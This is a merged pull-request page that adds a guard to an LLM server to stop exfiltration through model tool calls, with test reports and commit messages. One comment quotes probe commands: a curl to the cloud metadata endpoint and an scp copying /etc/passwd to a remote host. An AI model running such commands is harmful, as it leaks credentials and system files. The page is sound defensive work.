Skip to content

spark-server: tool-call guard (atlas-tool-guard crate, --tool-guard, default off; ported from Enntity) - #227

Merged
AzeezIsh merged 6 commits into
mainfrom
stack/tool-call-guard
Oct 29, 2026
Merged

AzeezIsh merged 6 commits into
mainfrom
stack/tool-call-guard

Conversation

@AzeezIsh

Copy link
Copy Markdown
Contributor

Stack: main ← #198 ← #223 ← #224 ← #226 ← this.

Summary

  • New crate crates/atlas-tool-guard, copied verbatim from Enntity/atlas (AGPL-3.0, fa5331b2 + fixups 41d5fd28, 1cff5cb2, acc404e1, d0cead14). It scans streamed and blocking tool calls for destination/exfiltration patterns (hosts, scp/rsync remotes) and caps pending tool bytes. A refused call finishes with content_filter and a refusal message.
  • spark-server wiring: --tool-guard on|off (default off: when on it refuses some well-formed calls, so it isn't output-neutral; SparkQwen ships it on), plus --tool-guard-allow-host, --tool-guard-deny-host and --tool-guard-max-bytes.
  • The IR has no guard_stop; finish_reason == ContentFilter + REFUSAL is the marker.

Test plan (vs parent #226)

  • fmt, clippy (no warnings in touched files), cargo test -p atlas-tool-guard
  • reiner job 914: CUDA build, tool_security / tool_guard tests, guard off: greedy C1 == serial refs; guard on: tool probe + greedy C1

Tracking: #220.

Generated with Devin

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

First run on a CUDA host (reiner job 915): the CUDA build passes and atlas-tool-guard passes 19/19, but spark-server tool_security is 5 passed / 5 failed. Those tests were adapted to this tree on a host that can't link them, so this is their first real run. Fix in progress; the guard-off/on pair results from the same job will follow.

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

Pair checks vs parent (binary 4f938181, two GB10s, rc16 resident profile): with the guard off (default), greedy C1 equals #198's serial references 8/8. With --tool-guard=on (confirmed in argv): tool probe 21/21, and greedy C1 still equals the references 8/8. So no refusals on well-formed traffic in these sets. The remaining blocker is the 5 failing tool_security unit tests (fix in progress).

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

Unit tests fixed at c643812be (all porting bugs, not the guard): (1) a test fixture dropped the tests' own tool declarations; (2) the enabled-guard flush/drop ran before the name-run cap, so a capped call was released; (3) buffered call bytes were flushed before the completed-args inspection even with the guard on. Fixes 2 and 3 match Enntity's ordering. On reiner: tool_security 9/9, tool_guard 10/10. Fixes 2 and 3 change guard-on streaming, so the guard-off/on pair check is re-running on c643812be (job night-j32c-guard).

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

Re-check on c643812be passes (binary 4d5e700b, reiner job 916): the CUDA build passes; with the guard off, greedy C1 equals the serial references 8/8; with --tool-guard=on (in argv), tool probe 21/21 and greedy C1 equal the references 8/8. Unit tests on reiner: tool_security 9/9, tool_guard 10/10, atlas-tool-guard 19/19. Ready for review once its parents land.

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

Known issue at this head: glm_tool_boundary::non_poolside_headers_still_stream_immediately fails. Its fixture's Policy::default() turns the guard on, so the guard (correctly) buffers the header the test expects to stream. The fixture fix (tool_guard.enabled = false, the same pattern as tool_security_tests) currently sits in #230. Moving it here means restacking #229 and #230, i.e. force-pushing those two draft branches; I'll do that on the owner's OK.

@AzeezIsh

Copy link
Copy Markdown
Contributor Author

Guard confirmed working on the live pair (stack head with this PR, --tool-guard=on): a curl 169.254.169.254/... shell-tool call is blocked (finish content_filter, the guard's refusal content). An scp /etc/passwd [email protected]:/tmp/ call was not blocked under the default policy. Whether scp to a bare IP should be covered (the crate's regression tests suggest network executables with bare-IP destinations are), or is outside the policy, is still open.

@AzeezIsh
AzeezIsh force-pushed the stack/qwen-queue-first-chunk branch from a1dab65 to 853445e Compare October 29, 2026 04:44
@AzeezIsh
AzeezIsh force-pushed the stack/tool-call-guard branch from c643812 to a9770b5 Compare October 29, 2026 04:44
@AzeezIsh

Copy link
Copy Markdown
Contributor Author

@data-angel a question from gating this port; the behaviour is the same in your atlas-tool-guard/src/scan.rs. Under Policy::default(), scp file user@<bare IP>: isn't refused. scan::urls treats scp/rsync as network commands, but the default policy only refuses metadata endpoints and credential-shaped exfiltration, so a plain remote copy passes. Is that intended (the guard targets specific destinations, not remote copies in general), or should remote copies to non-allowlisted hosts be refused by default? The guard stays default-off here either way. Also on this stack, #232's guard_stop is set on the blocking path (unit test 4d6cf3676), but a live blocked call came back without it on the scheduler-side verdict path. Fixing that next.

@AzeezIsh
AzeezIsh force-pushed the stack/qwen-queue-first-chunk branch from 853445e to 31a9803 Compare October 29, 2026 07:12
@AzeezIsh
AzeezIsh force-pushed the stack/tool-call-guard branch from a9770b5 to c681361 Compare October 29, 2026 07:12
…rn guard (port of fa5331b et seq.)

Bounded CPU-only screening of completed tool-call arguments: operation-
scoped destination and payload checks (metadata access, credential
transfer, blocked hosts, size cap), normalized for common host/command
forms. Wired at the streaming handlers (start/delta/fragment/end),
the pending-bytes ceiling on content tokens, the done-path
incomplete-call check, and the blocking choice path (refusal +
content_filter finish). Operator-only switch --tool-guard on|off
(default on, output-neutral for well-formed calls), --tool-guard-
{allow,deny}-host and --tool-guard-max-bytes. Upstream adaptations:
ir::response::Choice has no guard_stop field here, so the blocked
choice is marked by finish_reason == ContentFilter alone; StreamDelta::
Finish likewise. Files >500 LoC (tool_handlers, handle_token) are on
the CI allow-list.
The guard can refuse well-formed calls that match its exfiltration
patterns, so it is not output-neutral and stays off by default here;
the help text notes that SparkQwen enables it.
The tool-guard tests declare three tools (get_weather, get_url,
write_document) in their own request(); defs built from the parent
fixture's request() carried only get_weather, so five tests died on
'Unknown tool' validation before the guard was exercised. Pass the
request through like Enntity's stream_for_request. Fixture fix, not a
wiring fix.
… caps

The enabled-guard flush/drop check was inserted between the F11 dedup
and the name-run cap, so a call tripping the name-run cap flushed its
buffered deltas instead of dropping them
(tool_guard_does_not_release_calls_stopped_by_loop_limits). Move it
after both cap checks, matching Enntity's ordering.
handle_tool_call_delta flushed the buffered start+args straight to the
stream even with the guard enabled, releasing call bytes before the
completed-arguments inspection ran
(tool_guard_checks_both_native_formats_before_any_tool_bytes). Gate the
flush on the guard being off, as in Enntity's version.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant